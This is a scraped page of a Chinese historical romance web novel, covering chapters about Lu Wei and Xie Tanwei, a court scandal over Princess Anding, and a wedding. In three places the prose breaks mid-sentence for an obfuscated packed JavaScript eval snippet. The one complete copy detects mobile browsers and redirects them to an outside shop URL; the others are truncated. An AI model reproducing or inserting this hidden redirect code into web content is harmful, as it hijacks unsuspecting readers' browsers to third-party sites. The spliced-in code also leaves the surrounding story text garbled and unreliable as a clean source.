露微既羞怯又恼烦,却也挣脱不开,暗咬嘴唇,道:“你去哪里了?这么久,不全是在中堂听父亲说话吧?” 他自然是颇有些行程,想了想,先大体交代了一遍,“二郎至纯至善,我就和他多说了些,也幸亏去了,不然他还只想牺牲自己的婚事来成全家中平安呢。” “哦,是么?”露微抿唇一笑,笑那四个用在谢探隐身上的字,也笑这人口中果然未尽实言,“我才给你机会了,问你有没有实话,你自己不要,就怪不得我了。” 被她冰冷的手一打岔,谢探微都忘记追究她之前生气的缘故了,这时才又觉一慌:“什么?” “安定县主为了得到你,想要杀了我。”露微真切地听到了兄弟的谈话,也看见了谢二郎的故意作态,那一时的震惊解开了她先前觉而不察的几次疑惑,此刻只剩平静。 谢探微近乎跌坐,一颗心沉入谷底,半晌方聚起心神,颤声道:“母亲都告诉你了?” 露微淡笑,拨开他已松了力的手臂,站起身道:“长公子一声令下,谁能告诉我呢?”舒了口气,仍云淡风轻般: “不过是我庸人自扰,怕长公子在何处迷了路,想去寻一寻,谁料就撞见长公子与二郎兄弟情深,一不小心就都听见了。” 谢探微已是悔无余地,蹙眉闭目,似顶着千钧缓缓站了起来,“我错了,你怎么才能消气?” 露微摇了摇头,道:“你有何错?难道不是安定县主先看上你的,却是你先招惹县主的?” “微微!”阴阳怪气的揶揄到了此处,他便听不得了,一把拉起露微的手捶在自己胸口,“我说不过你,可你定知道我是怎样,只告诉你吧,直接动手可比动嘴解气!” 露微自是心中清明,可就是不想用他这个野蛮的法子,怒目瞪视,道:“谢探微,我是嫁给你了,不是卖给你了,你凭什么不让我知道我自己的事?当日信誓旦旦说以后都听我的,如今成婚才几个月,我倒成了笼中之雀了!” 骂出来固然比阴阳怪气叫人痛快,却也比直接动手更令他锥心,唯有苦果自咽了,“微微,我是怕叫你担惊受怕,起初也是没想到会到如今地步的。” 他这解释干涩无力,衬得人也无赖至极,“你放手。”露微别过脸,懒再搭理,“请你今晚厢房去睡吧。” 谢探微很是表里不一,内心溃败,举动上还占着上风,闻言垂目,瞧了眼攥在胸前的手,仍不松开,“你的手还冷着呢。” 露微不料他还敢迁延,正要再斥,忽却鼻内作痒,打了个喷嚏,另一只手不及掩住,又是接连不断,直打得她涕泪汪汪。 谢探微原就不放心,此刻早已慌急,将她打横抱起,两步跨到了帐内,拽来被子给她裹了个严实,“看见我和二郎说话,你就不能叫我?冻得这样!” 复见她眼眶通红,双眸莹然,颧上亦泛起潮红,活脱是只受惊的小兔,实在惹人心疼,又无奈至极,遂是一叹,“你这惩罚,很狠,很厉害,我再也不敢了。” 露微本没觉得多冷,此刻只剩了一颗脑袋在外头,周身只觉发闷,心中那股意气便慢慢溶解了,“我那时叫你,二郎岂不尴尬?” 既将话端又提到二郎,她不免想着二郎是何角色,此人的事绝不同于安定县主的事,是断然要瞒着的,终究罢了,平和道: “我不担心你和安定县主有什么,就是恼你骗我。你难道不知?我阿耶从前行事就瞒着家里,结果便是横生事端。” 谢探微何敢与岳父的谋划相提并论,却也忽然能够体会到露微的心情了,伸手抚了抚她额前发丝,愧然道:“是我总是小人之心,亦是我总是自作聪明,求你不要同我这种人计较了。” 露微望着这张殷殷虔诚的脸,心内一时动容,双臂拨开被褥,一下扑进了他怀中,“你这种人,有时是烦得很!” 谢探微伸出的手还举着,胸背间被裹得一紧方回过神来,眼中便是一热,“微微,对不起。” 露微抿出一笑,慢慢抬起头,轻拧了下他微红的鼻尖,“没想到,谢司阶竟堪比卫玠,一个天家公主,一个将门女郎,还有一个娇俏小婢,都拜倒在你的美貌之下。” 卫玠之论从母亲口中也听过,只是加上这番细数,不过是扯他的遮羞布罢了,也只能由她高兴了,半晌方追了一句:“可是谢司阶已经名花有主,只属于赵学士一人。” 露微噗呲一笑,却又引得连打了几个喷嚏,喷出的飞沫都打在了谢探微脸上。他一惊,顾不得余事,只忙将人重新塞回了被子里,“不要闹了,先吃点热的,再不行,我就去请医人!” 露微略显涩然,乖乖点了点头。 雪信和丹渥早将晚食备好,只是见他夫妻情状有异才许久不敢惊动,一听召唤,很快就将膳食端了进来。谢探微先与露微净了手脸,才挑了碗冒热气的糖粥喂给她。 露微倚在枕上屈膝坐着,温热清甜的糖粥一入口,便自喉舌一道而下,暖入脏腑,吸了吸鼻子,再无不适,缓而说道:“安定县主若是为你,此事倒就有了些余地。” 谢探微只专心服侍,不意她又操心起来,略一顿,拿起帕子掖了掖她的嘴角,“他们居心难测,这算什么余地?” 露微推想前因后情,忽然生出一策:“所谓难测,不过就是我们不知他们下一步会如何,就如前两次,事出突然,便成被动。” 她脑子素来转得快,谢探微一见她眼光熠熠,便知是有了主意,暂放了碗,将她揽到身侧,“要做什么?不许你以身涉险!” 露微朝他挤了挤,道:“何止是不危险,简直是太安逸了——我要辞官!” 谢探微眼睛一圆,不料她是往自己身上做文章,又想起先前岳父交代她要护佑太子,若是辞官不反而是向对方示弱么? 露微见他犹疑,一笑又道:“我知道你担心什么,可是,我只管辞官,许或不许,却不是我能决定的啊。” 谢探微只听出是故布疑云的意思,却还是没明白此举于皇帝赐婚的事有何助益,蹙眉问道:“赵学士,下官求教。” “谢司阶这也想不明白?”露微抬手在他额上敲了一记,“贵妃不是要她女儿见贤思齐,不愧下学么?本官自然要解佩投簪,虚左以待了,这叫将计就计!” …… 晨起,夫妻照例是要往正院请安,顺便也要将露微辞官之事禀告父母。只是才要出门,露微却忽然说要换身衣裳,叫谢探微先走。她并非喜好装扮的人,又不过是家常问安,谢探微便只觉别有缘故,并不就去,关心问道: “是不是不舒服?那今天就不去了,也无妨。” 他说着就伸手往露微额上探,被露微一把握住,笑道:“我就是想起来,母亲前两日又送了我新衣裳,还不及穿,今日正好穿给她看看。你先去就是,我很快就来。” 自他们成婚住到谢家,母亲事无巨细都安排得善美,莫说是露微,就连他自己也不知觉多出了许多穿戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兄弟四目同时落在露微轻淡的笑脸上,一个惊惧,一个赧然,都被她收入眼底,更作一笑,“我一点也不生气啊。” 谢探微两步跨过来,牵住露微手腕,低声道:“微微,这么快就换好了?” 露微眼珠一转,却不在他身上停留,见二郎自脸色到身躯都僵着不动,暗抿双唇,走了过去:“二郎如此关心我生不生气,倒不如以后若再知道你阿兄有事瞒我,就先来悄悄告诉我,这才是真心帮我呢!” 昨日他偶然瞥见了小道上的露微,于是当成天赐良机,用那抹肆意的笑作了不动干戈的挑拨,只以为必会令露微与长兄失和,可谁知,不止是自取其咎,又被翻出这桩旧案,顿时心惊胆战。 “长……长嫂说笑了,阿兄总是好意的。”他再不敢抬眼,齿颊打颤地说了一句,便匆匆先进了院门。 谢探微也见弟弟形容怪异,却又不觉露微话外有音,又忙凑来问道:“微微,昨天不是已经原谅我了?又提别的事做什么?” 露微自然不能告诉他方才情形都是自己计算策划,瞧他困惑无辜的神情,只好笑道:“原谅是原谅,又没说不能提。”扬起面孔又道:“我还想写下来呢,以后多了便可装成册子!” 谢探微不料她还有发挥,倒吸了口气,又捉住她手腕,轻轻发了发力,“微微!”只是低切一唤,也不知说什么。 露微知他已认真了,不忍再捉弄,反手挽住他,朝院门抬了抬下巴,“好了,不写,乖一点。” 谢探微果真松了口气,脸上即是一笑,终于跟着去了。 …… 夫妻请安之余便将辞官的计策诉诸了父母,可谢道元当即便说不可,李氏也说此事无须露微操心。 然则父母之心归父母之心,此事的源头在于安定县主中意谢探微,若真殃及二郎,露微只恐他心中更恨,此前的把柄拿他不住,叫他真做出什么大事。更要紧的是,父母下定决心不会接旨,就已经落入了贵妃所设的彀中,难以破题。 故而露微仍决定自去一试,谢探微自然依从,约定明日他上职之时,叫露微在宫门等候,夫妻一起面君陈情。 到了次日,露微一抵宫门,便望见了谢探微徘徊的身影,有他带领,如乘东风,一路到紫宸殿前都畅行无碍。然而,出乎二人意料的是,未及他们请守殿内官通禀,却先闻知,皇帝正在与集贤殿直学士姚宜若说话。 以集贤殿直学士的职分品阶,是不大有机会进出紫宸殿的,即使集贤殿就在紫宸殿西侧不远,谢探微时常能与姚宜若照面,也从未见他被召见,倒是有些令人稀奇。 夫妻二人不免退后等待,却才站定,忽闻殿内激怒之声震耳而来—— “让那逆女现在就来见朕!!” 80.未罄 数日前才来姚家恭贺弄璋之喜,不意风云忽转,此刻相视,却再无半分喜色。露微望了姚宜若许久,其实只需简单问起缘故,几个字却如鲠在喉。 “我,早就看到过的。”终究是姚宜若先开了口,眼珠微动,面色仍平静如水,“谢司阶殿前戍卫,安定县主故意戏弄,我见过几回,那时就留了心。” 露微不料他能这般说起,便原来,连他一个局外人都比自己早知安定县主的内情,惊道: “陛下有意赐婚才是昨天的事,就算你知觉其中有异,怎就敢面君直奏?!你大可先与我传信商议,你为官尚不足一年,岂知朝堂利害?!万一……” “没有万一!”只听她越说越急,姚宜若不由狠心打断,双眉压紧,“也没有更好的办法!谢家抗旨不是,接旨更不是,唯有让他们变生肘腋,才能破此危局——露微,今日之我已非昨日,也该轮到我护着你了!” 露微愣怔住,顿悟了一些早该发觉的事,良晌垂首一叹,放在膝上的手缓缓抓握,“你如今家事美满,仕途光明,是不必蹚这趟浑水的。况且你这一奏,对他们来说何止是肘腋之患?可你究竟是怎么知道的呢?” 姚宜若亦垂目,回想数个时辰之前的情形,心中却愈发坦然:“安定县主与人□□,其实是阿兄先知觉的,他曾给驸马看疗过,知道驸马病重,都是因为不堪其辱,积郁在心。阿兄当时也是讳莫如深,是我看他心神难安,怕他有事,尾随他去了公主府前,瞧见县主在车驾前与他拉扯,这才询问得知,是县主怕他传扬到陛下面前,便想要拉拢他。所以后来留心了谢司阶的处境,再到昨日,我便很快就决定了要去见陛下。” 露微猜到内情该是不简单,可此刻却只觉内心空落,谈不上悲喜,也再不觉惊讶:身在姚家三年,对这家的人事一无所察,也早不是什么新鲜的发现了。 姚宜若见她欲言又止的模样,淡淡一笑,又道:“我虽位卑,但身在朝中,风声何曾绝耳?我看得清,既愿意,也原本就脱不开——是你的党羽。” 露微心中一恸,眼眶已觉酸涩,“仲芫,你就不怕吗?”她不由对照起他的长兄,日日有面君的机会,却始终未敢替她伸张。原来他春闱榜下那一拜,竟是一场蓄谋已久的偿还的开端。 姚宜若没有回答,只反问道:“你们夫妻今日去紫宸殿,也是为此事吧?你们能如何?” 露微愧然一叹,将相比之下如同儿戏的计策说了一遍,“我不信安定县主真愿嫁给二郎,也知陛下还会再问谢家,趁此未定之际,摆出将计就计的态度,先行试探。” 姚宜若摇头发笑,目光直直投来:“你这是赌!可君子之赌对付不了小人之猾。所以我才说,于你们的立场,此局无解。” 露微无言以对,缓而道:“这些事,真儿可知道吗?”停了停,又道:“今后再有什么,你还是要先告诉我一声,就当是为家里两个孩子,还有贤儿的婚期也快了,要多为杨家考虑。” 姚宜若点了点头,道:“你知道的,我什么事都不会瞒真儿。”忽又一笑: “我倒听说,你竟让赵伯父到杨家去给谢家的甥女说亲,再等贤儿与晏将军的亲从成了婚,其间关联就更解不开了。如此看来,你也究竟是不怕什么结党之论的,那又何必为我作杞人之忧?” 露微终被引笑,目光缓缓回落在他身上,却生出一种不可描摹的感觉,如有疼惜,如有感佩,似感微惑,似感惊奇。 …… 露微离开姚家前去瞧了淑真和孩子们一回,见他们一切安好,也便放了心。姚宜若将她送到府前登车,踱步回到房中,见榻上妻子盈盈笑望,却良久顿足,待妻子几次唤他不应,欲下榻过来,才恍然回神,跑去搀住,道: “我听见了,急什么?这一月都不许下来,若不仔细,小妹的婚事也不让你去了!” 杨淑真却作一笑:“仲芫,你只会对我嘴硬。” 姚宜若脸色僵住,露出被看破的赧然,“我没事。” 杨淑真举手替他掠了掠鬓发,目光溶溶,轻轻向他肩头倚去,“别怕,你不是做得很好么?” …… 姚宜若的参奏必会给贵妃一党带来重创,也许宫中已有发落,却不知会以怎样惊心动魄的字眼流传出来。一个惊马案便让皇帝废了公主的名号,如今的情形,在这位崇德尚礼的君王眼中,岂非是触底之举?思来想去,露微终究不曾感觉轻松。 不知到了何处,车驾忽然停了,也不闻小奴照例禀报,撩开车帘一看,却是到了将军府前,而晏令白似是刚刚归来,见她一笑,翻身下马,迎了过来: “微微啊,这是从哪里来?” 择日不如赶巧,晏令白必是从宫中来,又是最可深谈的人,露微忽而释然,行礼道:“阿父,容我进门再细禀吧。” 晏令白的笑意一顿,旋即点了点头,很快将她引到中堂,又命下人到远处守候,这才小心问起:“微微,别怕,在阿父面前,什么事都可尽管直说。” 露微只是觉得说来话长,不料晏令白这般谨慎细致,又想来,似乎每次交谈,他都是这样呵护备至的模样,都把她看得过于娇弱了,像哄小孩子一般。 “我不怕,此事,也轮不到我怕。”她一笑,向晏令白投去宽慰的目光,便将一日的事都说了一遍。 果然,晏令白并不惊讶于姚宜苏的揭发,只是在听到其中缘由时,紧锁了眉头,深沉一叹:“敏识还不曾同我说,只是此事已经传开,我才知晓。不论陛下如何处置,但给二郎赐婚之事应该是不会再提了。”默然片时,又道: “微微,你与姚家……” 虽语出滞涩,但露微已能领会,暗一咬唇,道:“姚宜苏已不在咸京,但我与他家二郎从前便情厚,若没有他们夫妻,我只怕早就死了。他如此作为,我事先并不知晓,所以才去问他。这些敏识都是清楚的。阿父,我不会做对不起敏识的事。” “不!我不是,不是此意!”晏令白却一慌急,站起身来,脸色异常起伏,双拳亦不觉握紧,半晌才又缓缓坐下,“你与姚家的事,我也是清楚的,怎么会那样想你呢?” 露微只是常理推想,就如那日背着李氏赶去姚家贺喜,也怕李氏介怀,但晏令白的神色反应似乎更为复杂,倒让她再无从体察,“那阿父想问什么呢?” 晏令白以一丝干涩的笑意掩藏胸中波澜,即使略显突兀,“我只是觉得姚家二郎能如此做,倒算是明辨是非,也是知恩图报,但到底还是不能抵消你从前的委屈。” 他的眼神明明是直视,却为何隐隐动摇,光泽闪动也不是因一抹恰来的斜照,像就是从眼底泛起的。量度片时,不欲深究,露微只是平和说道: “凡事在历之时,都是百感丛生,恐是无尽无望,然则一旦跳脱,则轻舟已过,沧海已渡。况且,其实上天待我不薄,我有一个坚强的母亲,虽始终不肯告诉我父亲是谁,想来也是遭逢不幸,却能选择生下我,叫我也能瞧瞧这尘世——活着总是件好事,草木唯一秋,人生无来世,珍重而自勉,便是了,不必求全。” 晏令白的眉心又加了一道深痕,神情未改,却因这一道裂隙变得几分沉重。一时无话,忽闻下人站在廊下禀报,手里还提来一个食盒。晏令白倒很快回神,不叫他拿进来,自己起身接了进来。 露微刚想问里头是什么,便先闻到了熟悉的气味:“颁政坊的萧家馄饨!阿父什么时候叫人买去的啊?” 自李氏叫后厨在家做馄饨,她吃了几回,虽感于李氏关怀,到底味道不同,此刻便是又惊又喜。晏令白自是进门前留心了时辰不早,又不知露微说话长短,便多虑了一层。 “我听敏识说过你喜欢这家馄饨,敏识自小也喜欢。” 露微并不奇怪他如何知晓,倒因而想起有关馄饨的许多典故,正要说起,却见端来的馄饨只有一碗,“阿父不吃吗?” 晏令白兀自将食盒收到一旁,仍坐回露微对面茵席,方道:“我习惯了甘州的口味。”顿了顿,又一笑,“忙了一日,还不饿?快吃吧。” 露微原本不觉,听了个“饿”字,便顿觉饥肠辘辘,不再矫饰迟延,点头享用起来。晏令白的目光一直不离,但时而却是飘忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042915|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,过了些时,忽从散碎难堪的记忆中惊醒,听道: “敏识也说过,咸京的味道不如甘州的,还说甘州市卖的馄饨也不如……” 话到临头,她方自悔一时兴奋冲动,面上一红,低头塞了两个馄饨封嘴,但已然引起了晏令白的疑惑: “不如什么?” 嘴巴鼓囊着硬是嚼动了几下,但馄饨皮滑馅软,很快就溜进了喉咙,不得不开口接话了。可其实这也是她早就想弄清楚的问题,或许此刻也能将错就错?反复衡量,终是吐露: “敏识说起甘州的馄饨时,提到一个女子,她时常来军营寻阿父,每次来,敏识就能吃到她做的馄饨,比市卖的还要好吃。只是不知为何,几年后她就再也没出现过。” 她说得极小心,三两字作一顿,时刻观察晏令白的神色,等最后一字收声,倒不见想象中的愠色,连窘迫也没有,只是一派平静。她揣摩着,又斗胆更进了一步: “阿父,那个女子是你的妻子么?她去哪里了?” 晏令白用力合了下眼,声音含了一丝莫名的暗哑,为适时地笑意所破:“你不记得了?阿父和你说过,并未娶妻。那是附近村中的一位善心女子,我曾托她照料过敏识和冬至。当时战事不利,边民常受战祸,不堪其忧,便陆续都搬走了。” 谢探微确也说过,冬至是那女子抚养到四岁的,看来是他们猜偏了,惭愧垂目,歉然道:“对不起,阿父。” 晏令白毫不在意地摇头,却接着便反问:“你如此喜食馄饨,你母亲一定常给你做吧?定然也是比萧家馄饨好的。” 露微听来摇头,抿唇一笑:“不啊,母亲不会做,不仅是馄饨,也不会做任何菜肴。这是我和她最像的地方了。至于萧家馄饨,我是幼年偶然尝过一次就喜欢了,母亲倒是时常给我买。” “你母亲——不会做?!” 不知此事有何异常之处,晏令白竟忽一脸惊愕,想了想,露微觉得他大约是疑惑,解释道: “是啊,虽然母亲并非养尊处优的高门出身,只是一个孤女,但就是无甚厨艺。别的倒是颇有擅长,就比如骑马,马术和江玥一样好,倒是不肯教我。” 晏令白维持面上神情不语良久,不知是僵到不觉,还是当真松缓,才放出低而长的一口气,“快吃吧,不谈这些了。” 露微无谓深究,自是遵从,却这时,外头传来了宵禁的鼓声,方回头去看,又听晏令白道: “放心,我已经叫人去谢家禀报过了,你明日再回也无妨。也正好可给冬至掌掌眼,看他布置的院子能不能叫贤儿满意。” 将军府和谢家没有区别,露微原也不担心什么,又听后半句话,自是更加乐意,欣然点头:“等他们成了婚,阿父这家里就热闹了,贤儿可是会折腾呢。” 晏令白抚须一笑:“那你来同她一起折腾,不也方便多了?” 露微不料被取笑,但心中已开始暗喜,两府就隔了两条街,可谓抬脚就到,自是诸事便宜。 …… 露微次日晌午回到谢家,不意堂上才与李氏禀述昨日之事,谢道元便散朝归来,神情介于忧切与和缓之间,眉宇微蹙,说起了一则皇帝刚刚当廷颁布的敕书: “安定县主澡质天潢,不慎其德,数违礼法,多匿回邪,不堪与衣冠为妻,即命入道,善思己过,勿为无恩。其母贵妃周氏,不思教正,尽失德仪,降为昭容。” 果然是意料之中的事,却比料想的更为猝然惊心。 此事殃及贵妃受遣并不奇怪,可皇帝竟以出家为惩,剥夺了女儿此生再嫁的资格。而依照她浮浪的行为,大约原就是因婚事不遂,想要再寻一个合意的夫君,如此,就再无转圜了。 “那父亲,吴王没有受到牵累吧?”忖度片刻,此事自不当止于表面,露微不由问起谢道元。 谢道元轻舒了口气,略略展颜,道:“敕旨并未提到旁人,吴王原本也是无涉的,陛下心中清明。” 露微点点头,心里其实明白,贵妃确有可讳之恶,吴王却未必有无将之心——波澜暗涌,抑而未罄。 81.玉成 “没想到这么快就换我给你梳妆了。” 淑贤与冬至的婚期倏忽已至。露微前一夜便住在了杨家,与贤儿同榻夜话,陪她度过了最后的少女时光。此刻新妇早已换上了靓丽的礼衣,于铜镜前合鬟。花钗衬托下的脸庞仍带几分天真,眼光流转,亦无羞避。 “那是我好看,还是阿姊好看?”淑贤对镜一笑,偏身牵住了露微的手。 她神色已是无拘,语出无赖也不稀奇了,露微哼笑了声,抬手刮了下她的鼻梁:“当然是我好看,我两次都比你好看!” 淑贤自不满意,噘嘴道:“阿姊今天也不让让我?” 露微抱起双臂摇了摇头,“我为什么让你?叫你新婿让去吧!” 淑贤饶是不觉害羞,也不过是因还未出闺阁,房内除了露微,便是常年跟随的侍女,都是她熟悉的。只一听“新婿”二字,方忽有所感,顿时缄口,怯怯地低了头。这般情态反惹得众人咯咯发笑,露微犹中下怀,笑得肚子发酸。 “怎么了?马上到时辰了还不省心些?” 正沉浸时,杨淑真走了进来。杨家既无主母,就唯有长姊各处照应,忙了一圈回来不知发生了什么,只以为是小妹又任性胡闹,倒又不见她出声,定睛细瞧方见她满脸透红,不似只是胭脂色。 露微见状暂抿笑意,扯了扯淑真衣袖,将事情附耳说了一遍。淑真听罢也笑出声来,指点小妹额头,道:“你啊,真是长不大!” 淑贤抬了一眼,虽为众人幸灾乐祸一般,望着亲姊,却忽然生出不舍,将身倚了过去:“长姊以后回家来就瞧不见我了。” 她是家中幼女,撒娇也是自小到大的营生,且屡试不爽,无人能躲过,便叫淑真瞬时心软,泛起酸楚之意。众人见状,也都收了声,动情动容,感怀不已。 “傻丫头,哪里就见不着了呢?”淑真深吸了口气,将她扶正,含笑替她理着妆发,一面目光殷殷,细致地端详。 其实姊妹不过相差三岁,但淑真毕竟出嫁已有五年,又新做了母亲,更有些长姊如母之感,既欣慰小妹长大成人,也怕她天性任诞,疏于为人处世。 “什么都别怕,父亲、阿兄、阿姊,都没有离开你,阿娘在天有灵,也会保佑你的。你只管大胆地,高兴地过日子,妹夫是个忠厚之人,也定会好好疼爱你的。” 淑贤没再说话,眼中泛起泪花,笃定地点了下头。 露微旁观至此,千头万绪汇聚,却难以以一言描摹,大抵羡慕有之,感喟有之,怀念亦有之。 …… 申时,亲迎的队伍准时抵达杨家,新妇在长姊和众侍娘的陪同下往中堂预备受礼。露微原也随在一侧,忽想到府门前必要下婿,不知冬至那样木讷的人物如何应对,定然好笑,便一兴起,调转脚步溜去了门楼之间。 到时,果见里外围着数层人,但起哄取笑之声却没有想象中热闹,越发好奇,正要往前钻挤,不防腰间忽被环住,整个人都离了地,直被抱到一旁空地。 “你怎么来了!你不应该在阿父身边吗?”早扭过头望清了这人的脸,只觉扫兴,“别挡着我看热闹!” 谢探微是已婚之人,依礼不好再做冬至的傧相,与露微早是说好各在一处帮忙。可此时除了扬眉得意,也不答话,稍一停顿又将她扶肩揽过,竟带她反向而去。 露微不明所以,急忙喊问,却也无用,直至连廊尽头的偏门转出,来到了街面,才见他抬手一指:原来这人将车驾停在了杨家大门的对侧,既不远,视角也高些,倒真是绝佳观赏之处。 “卖什么关子!”虽嗔怪,露微已忍笑登车,再等这人跟上,凑过脸来,四目一齐从车窗望去,也顾不得别的了。 “那郎舅两个都是进士出身,不会叫冬至作诗吧?”露微初观门首的情形,正是杨君游和姚宜若二人代表杨家站在阶上,一齐看着阶下的新妹夫。 谢探微噗嗤一笑,道:“那可就同悔婚没什么区别了!” 露微睨他一眼,却是想起他们成婚那日的情形:“当日就是太给你情面了,你倒敢幸灾乐祸?” 他笑意顿止,蹙眉看来,亦难忘彼时情状:“太子驾前,你叫他们来试试?我头都不敢抬,太子还问我几岁,我又热又紧张,那只大雁都险叫我捂死了!” 露微是知晓这段典故的,不免发笑,“你记得就好!”抬起手掌将他的脸又拨向了窗外,自己也重新看去。 可就这不留神的工夫,竟只见冬至笑嘻嘻地拱手行礼,然后就被让开了道,放进了门。“这就好了?”虽没听见说了什么,但冬至显然是没被为难的神色。 谢探微亦放眼细究了半晌,悠悠道了一句:“好个小子,假痴不癫,通敌在前,枉我为他操心了!” 露微虽也觉奇,闻言转过脸来,不屑一瞥,哼道:“谢敏识,我从前怎么没发现你的脸皮有城墙那么厚?” “呃——不要胡说,哪座城墙哪有我脸皮厚。” “……” …… 大喜之日,素来冷清的将军府早是宾客盈门,甘州旧部自不必说,多一半也都是诸卫军将,便是平素与晏令白无甚私交的官僚,也不乏携礼恭贺的。 谢探微和露微跟随迎亲队伍抵达,待将新人送入青帐,便往后堂见过谢家、赵家等一众尊亲近属。及至天色暗下,前庭开宴,他们也才算了事,寻了空处坐下。 “微微,累不累?” 露微倒不觉什么,一笑,稍抬下颚示意他看前头。他便扫去一眼,倒也一笑,仍将目光转回露微脸上:“这都是赵学士之功。” 那处是堂前席上,谢道元、杨献、赵维贞三人正围坐吃酒说话,一旁侍立的不是什么下人小婢,正是杨君游。就在半月之前,杨献终于同意了与沈家的婚事,两家正过礼请期。 “只是杨司业一直不愿与我家沾亲,阿耶是怎么说成的?” 露微请父亲帮忙说亲,原只觉得赵家与杨家毕竟关系近些,可后来多事,不想却有意外之功,摇头道: “杨伯父清流之人,你只看他择婿如此不拘一格便知,并不完全是阿耶的缘故,倒是仲芫之力。仲芫面君直奏,举动惊人,杨伯父自然是要过问,便也知晓,谢家竟能够拒婚天子。这反让伯父觉得谢家有了不同之处,不似寻常豪门的习性,再加上阿耶出面,动摇了几日也就点了头。” 谢探微自然已知姚宜若先前参奏之事,也不禁稀奇发笑:“杨司业不愧是研究治学的人,不信口传,只看事实。”又向前头瞧了几眼,叹道,“冬至那时若不当面以短刀相赠,恐怕婚事也要费一番周折呢!” 露微赞同此话,点了点头,但感慨之余,又不免想到深处。自皇帝降敕惩处周氏母女,一月来,除了听闻原本延寿坊的公主府改成了道观,李柔远已入道出家,周氏一党便再无别的动静。 这倒也罢,元气大伤自是要韬光养晦,而谢家经此一事,谢探渺与谢探隐姊弟二人的态度却也越发叫人难堪。 谢二郎以为可以离间他们夫妻,不但隔日就被撞破,其后又是姚家出手解围,他自是更加怀恨,大约又对长姊吹了不少邪风。以至露微有时与谢探渺单独相遇,入耳之言无不阴阳怪气。长此下去,就算不叫谢探微自己觉出来,也恐怕长姊会在他面前显露,这便枉费了露微的苦心了。 “微微,想什么呢?累了别硬撑。”谢探微久不见她眼神转动,一时担心,说着便将人揽进了怀里,“抱你去睡?” 露微一笑掩饰,轻靠在他肩头:“我只是在想,母亲已传书沈家,你姑母必要来送女儿出嫁的,说不定还有一大堆亲戚,我怎么认得过来?” 正是说到杨沈婚事,谢探微又知她不惯这些人事,倒不怀疑,复将她拥紧了些:“认不过来就不认了,他们认得你就行了!” 露微只觉他敷衍:“我是晚辈,哪来这么大面子?” “你还以为你名声小呢?”谢探微却是眼睛一圆,“你知不知道……” 他一副要滔滔不绝的架势,还不及展开,忽见露微神情愣住,指了指身后,疑惑着回头,倒见是两个熟人并排站着,起身道:“你们这时候找我做什么?” 二人俱是含笑表情,其中一个略高些的说道:“司阶平素从不与我们一起吃酒相聚,凡下职就是回家去,今日机会难得,我们自是要来借花献佛的!” 谢探微这才垂目,望见二人手里都端着酒杯,一笑,弯腰自案上取了杯盏,与他们一饮而尽,余光却顾着身侧的露微,道:“好了,少浑说!” 二人却没有要走的意思,四目一碰,竟齐齐向露微拱手作礼,说道:“卑职见过赵学士!”又道,“夫人万福!” 露微眼明心亮,从二人身穿的崭新袍服便知是今日的傧相,再听言语,自是他的下属不差。但忽见他们转对自己,又作两种称呼,难免羞惭惊愕,脸颊顿时发热。 谢探微亦未料到,忙将她挡到背后:“你们怎么回事?!敢当着我的面取笑?” 二人原不过乘兴来卖个乖,不想弄巧成拙,立刻改了颜色,各自退步。露微见状,这才回过味来,不欲小事放大,连累他们喜宴上受责,暗拽了谢探微衣袖,露面一笑,道: “今日初见,恕我还不认得二位郎官,多谢了。” 二人面色稍解,也还顾忌谢探微目光如炬,片刻仍是那高个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢探微自去岁知晓,便一直记着,而今天已经两次见她暗暗去抓挠腿脚了。虽如她说没有伤口,凡患处也已泛红,现下才是孟冬,恐怕一到下雪,还是要发作。 见他忧虑不语,露微只忙牵住他衣袖,劝道:“我明天就开始涂药,你去年给我的还有很多呢,都叫丹渥收起来了。”想了想,不免与他分心,道: “对了,你快和我说说郑复和孙通是怎么和好的?两派对峙也解决了吗?” 谢探微确实没和露微说过后续之事,也知她是故意打岔,无奈摇了摇头,“便是按你所说,替他们担负了惩罚,二人本性不坏,心生感怀,这才知错悔改。如今金吾军中上下一心,风气大改,都是赵学士之功。” 露微满意点头,翘开双脚,拥到了他身前:“那是赵学士厉害,还是你夫人厉害?” 谢探微若有所思,又以鼻尖缓缓贴近,“赵学士有一张喋喋利口,我夫人——”并不说完,戛然一顿,遂以双唇重重揿了下去。 …… 青帐隔绝出的一方天地,红烛摇曳,温暖如春,一对新人早已褪去了繁复的礼衣,正于榻上安坐,不时对笑对诉: “这脂花餤、骆蹄餤、珑璁餤三样,要我说,还是脂花餤味道最佳,吃上一口便齿颊留香。”淑贤指着二人中间摆的食盘说道,盘中正是这三样饼餤。 冬至的双手却正拿着另两样,闻言一顿,将右手饼餤塞进了左掌心,空出来取了块脂花餤,咬了口就道:“嗯!听你这么一说,好像真是。” 淑贤伸手替他抹了把嘴角的饼屑,问道:“可这三样不都是你遍尝咸京饼餤之后认定的上品么,怎么忽然分出高低了?什么时候学会说假话哄我了?” 冬至自然有依从之意,可一听没中她的意,倒也没心计了,老实道:“不是假话,只是你说什么就是什么,你高兴我就喜欢。” 淑贤抿了抿唇,又打眼瞧了他半晌,忽一张口:“给我也尝尝。” 冬至见状眼神一亮,又提起心气,慌忙间不知伸那只手,换了两轮才终于将右手伸出去。 